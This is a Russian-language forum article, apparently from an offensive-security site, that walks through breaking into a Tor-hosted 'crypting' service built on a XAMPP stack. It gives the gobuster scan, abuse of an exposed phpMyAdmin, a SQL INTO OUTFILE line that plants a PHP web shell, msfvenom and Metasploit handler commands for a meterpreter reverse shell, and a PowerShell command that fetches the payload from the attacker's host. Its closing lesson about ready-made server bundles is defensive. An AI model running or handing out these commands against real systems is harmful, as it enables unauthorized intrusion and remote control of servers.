Статья Не используйте готовые сборки веб серверов

0. Intro
Небольшая история о том, почему не стоит использовать готовые сборки веб-серверов. Особенно в сочетании с Tor. И Windows.

На рынке появился новый сервис, предоставляющий услуги крипта? Давайте глянем :)

1. Разведка
Первым делом я прогнал скан с помощью GoBuster:
Код:
./gobuster dir --expanded --includelength --useragent "Mozilla" --timeout 40s --proxy socks5://127.0.0.1:9050 --wordlist ./123.txt --wildcard --url http://xxxxxxxxxxxxxxxx.onion/

Результат:
Код:
http://xxxxxxxxxxxxxxxx.onion/builder (Status: 403) [Size: 1055]
http://xxxxxxxxxxxxxxxx.onion/index.html (Status: 200) [Size: 3263]
http://xxxxxxxxxxxxxxxx.onion/licenses (Status: 301) [Size: 360]
http://xxxxxxxxxxxxxxxx.onion/phpmyadmin (Status: 301) [Size: 362]
http://xxxxxxxxxxxxxxxx.onion/stubs (Status: 403) [Size: 1055]

Из интересного в глаза сразу бросается phpmyadmin - скрипт для администрирования БД MySQL (а также Mariadb и прочих форков).

Пробуем...
1603735979799.png


Ouch :)

Небольшой side-note, или "что пошло не так?".
По-умолчанию, phpmyadmin доступен только с локального адреса (127.0.0.1 AKA localhost), поэтому зайти на такой сервер извне не вышло-бы, но, поскольку, мы заходим через Тор, то трафик как раз загибается через localhost, вот и получаем такое вот поведение.

2. Заливка шелла
Для начала, нам нужно узнать, где лежит каталог со скриптами. Пробуем так:
1603736014625.png


Видим, что сервер установлен в c:\xampp, поэтому скрипты, по-дефолту, должны лежать в c:\xampp\htdocs
Попробуем через аналогичную функцию залить самый простой шелл. Не забываем про экранирование символов ( ).

Код:
select '<?php system($_GET[\"cmd\"]); ?>' into outfile 'C:\\xampp\\htdocs\\inc2.php';

1603736028810.png


3. Апгрейдим шелл
Шелл есть, но он неудобный. Немного заапгрейдим его :)
Генерируем пейлоад meterpreter. Я сгенерил .php, хотя, в принципе, можно было и .exe.
Код:
msfvenom -p php/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=443 -f raw > shell.txt

msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST x.x.x.x
set LPORT 443
run

По поводу крипта пейлоада я не парился вообще - из-за специфики сервиса антивирус, скорее всего, будет выключен. Хотя можно было использовать сам сервис, поскольку ключи хранятся в БД, к которой у нас есть доступ (лол).

Загружаем файл с нашего сервера с помощью powershell:
Код:
powershell.exe -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('http://x.x.x.x/shell.txt', 'C:\\xampp\\htdocs\\inc.php')

Запускаем шелл (просто зайдя на /inc.php) и получаем сессию meterpreter:
1603736049091.png


4. Game over
1603736076673.png



5. Выводы
Лениться и использовать готовые веб-сервера (а их много - начиная с ныне покойного Denwer и заканчивая XAMPP, Wamp и ещё вагоном с тележкой) - не очень хорошая идея. Не всегда можно уследить за всем, что с ними ставится. Windows для такого направления тоже так-себе идея.

Source:
 
  • Нравится
Реакции: Noname1337228 и BearSec
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!